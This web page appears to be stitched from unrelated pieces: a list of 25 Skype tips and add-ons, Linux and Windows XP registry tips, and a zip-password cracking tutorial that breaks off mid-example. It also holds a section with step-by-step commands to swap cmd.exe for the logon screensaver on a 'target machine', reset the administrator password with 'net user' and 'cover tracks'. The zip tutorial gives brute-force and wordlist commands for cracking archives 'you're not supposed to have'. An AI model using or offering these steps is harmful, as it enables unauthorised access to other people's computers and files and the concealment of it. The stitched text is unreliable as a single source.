Hacking Skype: 25 Tips to Improve your Skype Experience


How versatile is your Skype? Ours can podcast, translate French, take conference calls from 15 people, and tutor calculus. Want to learn how to turn your Skype telephone into a multipurpose office machine? We're going to tell you how.


For millions of users, Skype is the VoIP solution of choice. If you're just getting into this great telephone alternative, you are going to be surprised how much you can do with it. In this article we cover 25 tips, hacks, and extras to help you utilize Skype to its fullest potential.



Starting Simple: Built-In Skype Features you Didn't Know About


Skype is such a rapidly emerging technology that a lot of brand new users aren't even aware of all the built-in features that Skype offers standard, not to mention the add-ons and hacks that you can improve it with. In this section we cover some often overlooked standard features of Skype that can dramatically improve your experience.


1 Call Forwarding


Whether you've set your Skype account up on your home or work computer, the fact is, you are occasionally going to get important calls when you aren't there. Thankfully, you can simply forward those calls to another Skype account or even a cell phone or land line. That way, even if your computer at work is shut down, as soon as a call comes in to your Skype account, the call will immediately ring on your cell phone, your home computer and your home phone line, meaning that no matter where you are you'll be sure to get it.
To forward a call click on the "Tools" menu and select "Options." From there set the forwarding number in the "Call Forwarding & Voicemail" section.


2 Filtering and Blocking Users


Skype is a great tool for both business and pleasure, but if you don't take preventative steps, it can also cause you some serious security problems. Vishing is a new VoIP targeted scam in which cyber-criminals use a VoIP client such as Skype to call people and attempt to trick them into revealing important financial details such as credit card numbers or online passwords. But you can limit these attacks by simply blocking unwanted callers.
To block unknown or unwanted callers, simply click on "Tools" and select "Options." From there, select "Privacy" and choose the level of security that works best for you. When it comes to individual attacks, you can avoid repeat vishing calls by blocking the spammer by clicking on "Manage Blocked Users" in the "Options" dialog.


3 A DIY Home Security System


Whether you want to keep an eye on your pet goldfish from work or just make sure no one has broken in the house while you are on vacation, Skype can double as an away from home monitoring system.
Checking in is simple with Skype's one and two way video calling. You'll need two separate Skype accounts, a computer at home with a webcam, and access to the Internet. Using one account, setup the home version of Skype to auto-answer calls and automatically fire up the webcam. Then to check in, just use the second Skype account to call the first, and the webcam video will pop up.


4 Providing Customer Support


Got a small business online? Want to offer some customer support without spending a fortune on telephony costs? Skype's graphical click-to-call SkypeMe buttons are ideal for this. Create your SkypeMe button (free account needed) and embed the code in your website, weblog, template, email, or wherever you want it to appear. When someone views your web page (or email message), the button will indicate whether you are online and accepting Skye calls, busy, or offline. If you're on the go and want to receive calls, just leave your Skype client running and set call forwarding (see above).

Plugins, Addons, and Extras


Think of the off-the-shelf version of Skype as a new car without any optional package. Sure, it will still get you to and from work, but it doesn't have any of the bells and whistles that make your new toy exciting. Unlike car options, however, these Skype Plugins and Add-ons won't cost you a fortune, and they're easy to install to boot.


5 Using Skype to Sell your Services


You've got information that other people can use, and with the Bitwine Skype add-on you'll be able to leverage that information into an income stream. Whether you're a lawyer, a mechanic, or a talented collector, there are people willing to pay for the information you have, and using Bitwine makes selling that information easy. Through Bitwine, you set up your hourly rate, then customers approach you about the topic they would like to discuss, you set up a meeting time, and at the end of the meeting Bitwine tallies up the time and will even coordinate payment via PayPal through another add-on, Bitwine extra.


6 Recording Calls


There are a lot of add-on options for recording Skype calls, including the free Audacity audio editor. But Audacity has to be triggered manually, and since you don't always know beforehand when a call should be recorded, the fact that Audacity is manual is a serious limitation. By contrast, there are a number of Skype recorders that start up automatically. HotRecorder is arguably among the best. HotRecorder allows searchable Meta text to be added to each recording, and works with Google Talk and other IM clients. For aspiring Howard Sterns, there's a selection of Emotisounds such as laughs, claps, etc., that can be inserted into the conversation for later podcasting.


7 Enhanced Voicemail


If you use your Skype phone for more than just the occasional long-distance call, you should enhance your voicemail setup beyond the basic Skype standard. Pamela offers (automatic) call recording, an answering machine for voice and video, automated chat reply if you're away, Skype VoiceMail management, and email forwarding of audio files. In addition, Pamela will let you setup a separate greeting or voicemail message for different users, so that your business and personal calls won't hear the same message. And best of all, Pamela allows for remote control, meaning that if you forget to change one of the voicemail settings before you go on vacation, you can make the changes via any computer anywhere.


8 Keep Up With New Music


If you constantly find yourself wondering why everyone else's iPod seems to have better music than yours, maybe its time to start branching out and discovering new music. Last.fm, a Skype add-on provides you with an easy forum to share your own musical preferences and listen to what other people like. With this add-on, you can browse through other Skype and Last.fm user's music collections and listen in. While you're listening, information about the song and artist you're listening to is displayed and you're given the ability to find similar titles.

Setup is really simple, you just need to download the Last.fm extra, sign up for a free account at Last.fm and there download the Last.fm software. For those of you that are Mac users, Last.fm will still work as a Skype add-on, the only difference is that you will need to download the iScrobbler extra to make Last.fm Mac compatible.


9 Universal Chat and Language Translation


It's a global world out there, so whether you're conducting business or pleasure with Skype, you are likely communicating with people around the world and may occasionally encounter language barriers. Thankfully, by using the quick add-on Universal Chat Translator you can communicate with anyone no matter what language they speak. The software only produces text translations, so you may feel like you're watching a foreign film with subtitles, but the fact that the Universal Translator can read text in 11 languages and understand spoken text in 50 means that you'll at least be able to get your point across.


10 A Complete Small Business Collaboration Solution


If you're running a small business or working as part of a team on a single project, real-time collaboration is essential. There's no better way to supplement your Skype conferencing than with a collaborative desktop provided by Skype add-on Unyte. Unyte lets you choose which applications or documents to share with the other people on your conference call. Then everyone can be looking at the same documents at the same time, and when changes are made they appear on everyone's screen so that there is no confusion. Pricing depends on the number of people you want to bring in on the conference, but you can give two-person collaboration a try for free.


11 Combining Real-Time Document and Voice Collaboration


If the setup hassles of Unyte are too much for you, a simpler solution that redefines easy-setup is TalkandWrite. TalkandWrite will give you video and voice conferencing as well as handle real-time collaborative document editing. That means, that not only will the changes you make be reflected on the other person's screen, but you'll also be able to see and talk with the other person about those changes as you make them. This easy Skype add-on can be a real time-saver for anyone who spends time working with a small team preparing for a project.

Mobility


With the advent first of cordless phones and then cell phones, every communication device is going mobile. So it doesn't make sense that your most advanced communication tool, Skype, should keep you tethered to your computer. Here are a few Skype add-ons and extras to give you the freedom to get out from behind your desk.


12 Bluetooth and Skype


The first step to mobility is just cutting the cord that connects you to your computer when you're using Skype. You can think of this step as the advent of the cordless phone for Skype, it will get you mobile, but only within certain limits. Most newer computers are already Bluetooth capable, so purchasing and synching up a Bluetooth wireless earpiece or headset is extremely simple. In fact, you can use a single Bluetooth earpiece to handle calls from both Skype and your cell phone, so you may not need to buy anything if you're already using a Bluetooth earpiece with your mobile. The only downside to going Skype wireless via Bluetooth is that you are limited by Bluetooth as to how far from your computer you can be. But for those that are just looking for a way to cut the wire and have a little more mobility around the office, Bluetooth is the perfect solution.


13 Mobile Phone Skype Calling


Imagine if you could use SkypeIn or SkypeOut from your cell phone: you could make and receive phone calls to people around the world with the convenience of your cell phone but the pricing of Skype. Thankfully, that day is already here, but a surprising number of Skype fans just don't yet know about the capability. Ego has been offering their Skype based cell phone service for almost a year. It lets you see who is online, make and receive calls with your Skype contacts, and use Skype Instant Messaging.

If the idea of carrying both a Skype phone and a regular cell phone doesn't suit you, TalkPlus has hacked the Skype API to create a server that functions as a Skype client, demonstrating that integrating Skype calls and regular mobile calls will soon be a reality. In fact, in November 2006, TalkPlus demonstrated a successful mobile call to Skype test id echo123. Their hack was then made public, and could be installed on mobile phones to talk to the Skype server. Since then, the service has temporarily gone MIA, but expect that very soon full cell phone/ Skype integration will be a reality.


14 Skype on a Cell Phone…Indirectly


While the ultimate goal is complete Skype/ mobile integration, for now you can get a lot of the functionality of a Skype mobile phone by routing your mobile through your home Skype setup. By using a Phone Diverter, which will allow your cell phone to communicate with your computer, you can enable Skype on your mobile phone indirectly.

Essentially, you will be using your mobile phone to call your home computer, which will in turn ask you to enter a password, and then allow you to use your SkypeOut credits to call your Skype friends. While the system isn't yet perfect, in part because you'll be racking up both your cell phone and SkypeOut minutes at once, it is an effective way to be able to make Skype calls from your cell phone now.


15 Bringing Skype to your TV


Imagine, you hear your Skype phone ring, but it's the fourth quarter of the game, and who knows if the call is even important. You don't want to get up, but it seems you have no choice. Thankfully, with mcePhone you won't have to get up to find out who is calling ever again, as your incoming Skype calls will simply pop up on your TV screen.

From your TV you'll be able to see your own Skype-Status (online, offline, etc), the number of SkypeOut credits you have, which of your Skype friends are currently online, and whether you have any new voicemails. And when a new call comes in, a small window automatically pops up letting you know who the caller is, and it will even let you decide whether you want to accept, ignore, or reject the call all by remote control.


16 Having your Skype Announce Who is Calling


Despite its simplicity, AudioID is easily one of the most useful Skype hacks for home users. AudioID will allow you to setup an individualized announcement for each caller that will play over your computer or home speaker system. So instead of hearing a generic computer ring from somewhere way back in the home office, you can hear a clear message from your computer, "Call from Kristy" which will let you decide whether you need to run back to take the call or whether it can wait until later.


Pure Silliness: Skype Hacks Designed to Entertain


Much of Skype's appeal is the connectivity and productivity it brings to its users. But Skype can also just be a great way to have a whole lot of fun. These simple hacks will help you do just that.


17 Voice Analysis Love Detector


Whether you're using a Skype based dating service or are just want to know if that secret crush feels the same way about you, the Love Detector is a fun Skype add-on that uses SENSE voice analysis technology to detect love and other emotions over your Skype calls. But before you rush out and purchase the full version, you can give this add-on a free trial run and start testing how people really feel about you.


18 Making Board Games Fun Again


Need a break from work but need to stay in front of the computer so your boss doesn't get suspicious? There are a whole host of classic board games that you can add-on to Skype for some fun diversion. With Backgammon, Bingo, Chess and Checkers, you can compete against your fellow Skype users using 'old-school' games with 'new-school' interfaces.


19 KishKish Lie Detector


If you're using your Skype phone to conduct business deals and you want to make sure the other party is being truthful, or you just want to prove once and for all that your boyfriend is a cheater, try KishKish the Skype Lie Detector add-on. KishKish detects the stress level of the person you are talking with over Skype, and it uses that information to detect when they are lying.


20 Creating a Lip-Snyc-ing Avatar to Hide Behind


Video calls can be great for connecting with people on a more personal level. But sometimes, whether because we don't know the caller well or it just hasn't been a good morning, we don't want to be seen. Instead of feeling embarrassed in front of the camera, CrazyTalk allows you to create your own Skype video avatar and have him/ her lip-sync anything you say. This fun add-on is surprisingly simple to setup and use, and will allow you create your own custom avatar from any digital photo. Once set up, it takes just a click to have the avatar pop up, cover the Skype video screen and begin lip-sync-ing.


21 Disguising your Voice


There's nothing more entertaining than changing your voice to mess with your friends. Whether you want to impersonate their boss or their girlfriend, DoNaut has got you covered.

This easy to install Skype add-on will allow you to adjust the tone and quality of your voice throughout the call. In addition, you can use DoNaut to pipe in some background music to your Skype calls off your favorite music player such as iTunes, or Windows Media Player.


22 "Can I Have Your Number?" … "Umm, No."



Whether from a bad blind date, or a sales person that just won't take no for an answer, we've all been in a situation where we didn't want to give the person our phone number or Skype information, but it seemed unavoidable.

Thankfully, the folks that compiled the original NotMyNumber Directory have given Skype users the ability to provide people with a fake number as well. This simple Skype add-on will give you access to local numbers in every major city that are guaranteed to be inactive. That way, when someone you don't want to talk to asks you for your Skype number, you can very casually access the Skype NotMyNumber Tool and offer them a completely fake number.

Advanced Hacks


If you're tech savvy and really want to push your Skype setup to the limit, this list of advanced hacks can help you create functionalities that are sure to improve your experience and wow your friends. But be forewarned, even though a lot of these hacks will be simple to advanced tweakers, if you're new to Skype you may find some of these hacks are over your head.


23 Multiple Logins



If Skype has become your family's communication device of choice, then no doubt you have experienced the problem of having multiple members of your family trying to use your home Skype account at the same time. For a quick fix to this problem, just setup setup multiple logins, so that everyone in the family can use their Skype ID whenever they want. So far this hack is only available for Windows XP users, but keep an eye out for a hack compatible with your OS in the near future.


24 Wake-up Call


If you're a regular business traveler, finding yourself without a wake-up call can be a big problem. Thankfully, by following this hack tutorial you can use the "Scheduled Task" feature in Windows XP to set a time and have Skype call the hotel phone to wake you up.


25 Design your own Hack


Don't see a hack here that interests you? Or maybe you need custom functionality and can't wait for someone to create it. Skype has open developer API, so you can write your own plugins which can be created in HTML or Java, or as an EXE or DLL. If you're looking for a community to help you with some of the programming hurdles, the Skype Developer Zone blog will even keep your questions private so that no one steals your new idea before you get it finished. And when your application is complete, the site also offers a Publishing Studio Publication Studio to manage your published component.



This list of 25 Skype hacks, modifications and add-ons are all designed for one thing… improving your Skype Experience. And with your newfound Skype knowledge you are now just a hack away from experiencing this great service in ways you never have before. So go out, implement a hack or two, and enjoy your improved Skype service. Happy Skype-ing!


Hack Win XP admin password


If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:


cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos


Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.


Once this happens if you enter this command minus the quotes


"net user <admin account name here> password"


If the Administrator Account is called Frank and you want the password blah enter this


"net user Frank blah"


and this changes the password on franks machine to blah and your in.



Have fun


p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks


Some Linux Tips


1) How to export DISPLAY on windows comp from a linux comp which is accessible from some router linux comp(for windows users only)

Suppose you are working on 10.8.11.1 and you go to 10.8.11.3 via 10.8.11.2, then to open graphical applications of 10.8.11.3 on 10.8.11.1, follow these steps:

1. start Xwin32 (on 10.8.11.1)
2. ssh to 10.8.1.2
3. export DISPLAY=10.8.11.1:0.0
4. vncserver (it will promt for a passwd, set the passwd)
5. start remote destop connection as server 10.8.11.2:1
6. xhost + (on 10.8.11.2)
7. ssh to 10.8.11.3 from 10.8.11.2
8. export DISPLAY=10.8.11.2:1 (on 10.8.11.3)
9. start any application.


2) How to get access of windows partitions in linux

As root, edit the file /etc/fstab e.g. let your windows C drive partition is /dev/hda1 and it is 'fat 32' file system. So to mount the C partition in /windows/C directory, in the /etc/fstab file, make an entry as
/dev/hda1 /windows/C vfat umask=0000 0 0
Note that umask=0000 will give write permissions to every user. To give write permission only to root, replace by
umask=0002

3) How to use mount command

a) To mount a hard disk partition
$mount -t <filesystem> -o <options> <device> <dir>
e.g. If you want to mount C partition as above, type as root
$mount -t vfat -o rw /dev/hda1 /windows/C

b) To mount an already visible directory to another place, type
$mount --bind <old-dir> <new-dir>

c) How to mount or extract .iso file in linux
As super user type
$mount -o loop -t iso9660 isofile mount_place

d) To mount nfs filesystem, e.g. mount /windows/C of 10.8.1.22 on your machine at /piyush/c, type
$mount -t nfs 10.8.1.22:/windows/C /piyush/c
For this, the comp 10.8.1.22 should have given you the permissions.

3)How to change encoding of media files

Use mencoder
$mencoder <input-file> -oac <audio-output-format> -ovc <video-output-format> -o <output-filename>

audio-output-format option is given as

-oac copy no encoding, just streamcopy
-oac pcm encode to uncompressed PCM
-oac mp3lame encode to MP3 (using Lame)


video-output-format is given as

-ovc copy no encoding, just streamcopy
-ovc divx4 encode to DivX4/DivX5
-ovc rawrgb encode to uncompressed RGB24
-ovc lavc encode with a libavcodec codecs

To cut a movie file give the following command
$mencoder <input-file> -ss <start-position> -endpos <end-position> -o <output-filename>-oac <audio-output-format> -ovc <video-output-format> -o <output-file>

here end-postion can be given as
-endpos 56 encode only 56 seconds
-endpos 01:10:00 encode only 1 hour 10 minutes
-endpos 100mb encode only 100 MBytes
for start-position
-ss 56 encode from 56 sec
other options are similar as above.

for more option type
$man mplayer

5) How to set an environmental variable/How to add path

$ PATH=$PATH:<path you want to set>
So if you want to set this path for all users then put this line in
/etc/rc.local in redhat and
/etc/init.d/boot.local in suse.

6)To send message from linux to windows

$ smbclient -M <hostname> -I <ip-address>
And to find hostname
$ nmblookup -A <ip-address>

7) How to build an rpm

a) from SRPM
Install the .src.rpm file this way:
$ rpm -i somepackage-1.0-1.src.rpm

This will create files in /usr/src/redhat/SOURCES and a .spec file in /usr/src/redhat/SPECS.
Then go the SPECS directory and give the command to build the RPM:
$ cd /usr/src/redhat/SPECS
$ rpmbuild -bb somepackage.spec

b) from source package

When a source archive (e.g., somepackage-1.0.tar.gz) contains a .spec file, one can give the following command to build the RPM without having to deploy the archive:

$ rpmbuild -tb somepackage-1.0.tar.gz

Give the -ta option instead if you also want to build the SRPM.

8) How to install fonts

One can install fonts in various ways.
a) type

$ xset fp+ <directory-path-of-font>
$ xset fp rehash

in this case u should have fonts.dir file in the directory.
this is a temporary way of installing fonts. u have to give these commands every time u start ur X-server.

b) Use font installer in control centre(not available in redhat)

c) Type as root
$ /usr/sbin/chkfontpath --add $ fc-cache
this doesn't work with suse but works well in redhat.

d) in /etc/X11/XF86Config file (in redhat XF86Config-4 file), in Section "Files" add the line

FontPath "<dir-path>"

and restart ur X-server. this works well in suse.

to check the list of installed fonts, type
$ xlsfonts

9) How to make an iso image

To make an ISO from your CD/DVD, place the media in your drive but do not mount it. If it automounts, unmount it.

$ dd if=/dev/dvd of=dvd.iso # for dvd
$ dd if=/dev/cdrom of=cd.iso # for cdrom
$ dd if=/dev/scd0 of=cd.iso # if cdrom is scsi

To make an ISO from files on your hard drive, create a directory which holds the files you want. Then use the mkisofs command.

$ mkisofs -o /tmp/cd.iso /tmp/directory/

This results in a file called cd.iso in folder /tmp which contains all the files and directories in /tmp/directory/.


Some Windows XP Registry Hacking


Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"


Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"


No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"


Menu Delays:


Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.


GPEDIT.MSC And Autoplay


A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.


Increasing options in add/remove programs:


Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:


[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7


This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:


msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7


To this:


msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7


Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".


Automatically Kill Programs At Shutdown:


don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.


Speeding Up Share Viewing:


This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!


Create a Shortcut to Lock Your Computer


Leaving your computer in a hurry but you don't want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.


Speed up Internet Explorer 6 Favorites


For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.


Aspi


WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.


Change Text on XP Start Button


Step 1 - Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.

get this from h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.

The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We're going to modify item 578, currently showing the word "start" just as it displays on the current Start button.

There is no magic here. Just double click on the word "start" so that it's highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you'll type. Go ahead and type your new entry. In my case I used Click Me!

You'll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won't get into what's involved in compiling a script, but suffice it to say it's going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command - Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.


Step 2 - Modify the Registry

!!!make a backup of your registry before making changes!!!

Now that the modified explorer.exe has been created it's necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don't know how to access the registry I'm not sure this article is for you, but just in case it's a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that's your preference. If all went as planned you should see your new Start button with the revised text.[/b]


Cracking Zip Password Files


Tutorial On Cracking Zip Password Files..
What is FZC? FZC is a program that cracks zip files (zip is a method of compressing multiple files into one smaller file) that are password-protected (which means you're gonna need a password to open the zip file and extract files out of it). You can get it anywhere - just use a search engine such as altavista.com.
FZC uses multiple methods of cracking - bruteforce (guessing passwords systematically until the program gets it) or wordlist attacks (otherwise known as dictionary attacks. Instead of just guessing passwords systematically, the program takes passwords out of a "wordlist", which is a text file that contains possible passwords. You can get lots of wordlists at www.theargon.com.).
FZC can be used in order to achieve two different goals: you can either use it to recover a lost zip password which you used to remember but somehow forgot, or to crack zip passwords which you're not supposed to have. So like every tool, this one can be used for good and for evil.
The first thing I want to say is that reading this tutorial... is the easy way to learn how to use this program, but after reading this part of how to use the FZC you should go and check the texts that come with that program and read them all. You are also going to see the phrase "check name.txt" often in this text. These files should be in FZC's directory. They contain more information about FZC.
FZC is a good password recovery tool, because it's very fast and also support resuming so you don't have to keep the computer turned on until you get the password, like it used to be some years ago with older cracking programs. You would probably always get the password unless the password is longer than 32 chars (a char is a character, which can be anything - a number, a lowercase or undercase letter or a symbol such as ! or &) because 32 chars is the maximum value that FZC will accept, but it doesn't really matter, because in order to bruteforce a password with 32 chars you'll need to be at least immortal..heehhe.. to see the time that FZC takes with bruteforce just open the Bforce.txt file, which contains such information.
FZC supports brute-force attacks, as well as wordlist attacks. While brute-force attacks don't require you to have anything, wordlist attacks require you to have wordlists, which you can get from www.theargon.com. There are wordlists in various languages, various topics or just miscellaneous wordlists. The bigger the wordlist is, the more chances you have to crack the password.
Now that you have a good wordlist, just get FZC working on the locked zip file, grab a drink, lie down and wait... and wait... and wait...and have good thoughts like "In wordlist mode I'm gonna get the password in minutes" or something like this... you start doing all this and remember "Hey this guy started with all this bullshit and didn't say how I can start a wordlist attack!..." So please wait just a little more, read this tutorial 'till the end and you can do all this "bullshit".

We need to keep in mind that are some people might choose some really weird passwords (for example: 'e8t7@$^%*gfh), which are harder to crack and are certainly impossible to crack (unless you have some weird wordlist). If you have a bad luck and you got such a file, having a 200MB list won't help you anymore. Instead, you'll have to use a different type of attack. If you are a person that gives up at the first sign of failure, stop being like that or you won't get anywhere. What you need to do in such a situation is to put aside your sweet xxx MB's list and start using the Brute Force attack.
If you have some sort of a really fast and new computer and you're afraid that you won't be able to use your computer's power to the fullest because the zip cracker doesn't support this kind of technology, it's your lucky day! FZC has multiple settings for all sorts of hardware, and will automatically select the best method.

Now that we've gone through all the theoretical stuff, let's get to the actual commands.


--------------------------------------------------------------------------------
Bruteforce
--------------------------------------------------------------------------------


The command line you'll need to use for using brute force is:

fzc -mb -nzFile.zip -lChr Lenght -cType of chars

Now if you read the bforce.txt that comes with fzc you'll find the description of how works Chr Lenght and the Type of chars, but hey, I'm gonna explain this too. Why not, right?... (but remember look at the bforce.txt too)

For Chr Lenght you can use 4 kind of switches...

-> You can use range -> 4-6 :it would brute force from 4 Chr passwors to 6 chr passwords
-> You can use just one lenght -> 5 :it would just brute force using passwords with 5 chars
-> You can use also the all number -> 0 :it would start brute forcing from passwords with lenght 0 to lenght 32, even if you are crazy i don't think that you would do this.... if you are thinking in doing this get a live...
-> You can use the + sign with a number -> 3+ :in this case it would brute force from passwords with lenght 3 to passwords with 32 chars of lenght, almost like the last option...

For the Type of chars we have 5 switches they are:

-> a for using lowercase letters
-> A for using uppercase letters
-> ! for using simbols (check the Bforce.txt if you want to see what simbols)
-> s for using space
-> 1 for using numbers


Example:
If you want to find a password with lowercase and numbers by brute force you would just do something like:

fzc -mb -nzTest.zip -l4-7 -ca1

This would try all combinations from passwords with 4 chars of lenght till 7 chars, but just using numbers and lowercase.

*****
hint
*****

You should never start the first brute force attack to a file using all the chars switches, first just try lowercase, then uppercase, then uppercase with number then lowercase with numbers, just do like this because you can get lucky and find the password much faster, if this doesn't work just prepare your brain and start with a brute force that would take a lot of time. With a combination like lowercase, uppercase, special chars and numbers.


--------------------------------------------------------------------------------
Wordlist
--------------------------------------------------------------------------------

Like I said in the bottom and like you should be thinking now, the wordlist is the most powerfull mode in this program. Using this mode, you can choose between 3 modes, where each one do some changes to the text that is in the wordlist, I'm not going to say what each mode does to the words, for knowing that just check the file wlist.txt, the only thing I'm going to tell you is that the best mode to get passwords is mode 3, but it takes longer time too.
To start a wordlist attak you'll do something like.

fzc -mwMode number -nzFile.zip -nwWordlist

Where:

Mode number is 1, 2 or 3 just check wlist.txt to see the changes in each mode.
File.zip is the filename and Wordlist is the name of the wordlist that you want to use. Remember that if the file or the wordlist isn't in the same directory of FZC you'll need to give the all path.

You can add other switches to that line like -fLine where you define in which line will FZC start reading, and the -lChar Length where it will just be read the words in that char length, the switche works like in bruteforce mode.
So if you something like

fzc -mw1 -nztest.zip -nwMywordlist.txt -f50 -l9+

FZC would just start reading at line 50 and would just read with length >= to 9.

Example:

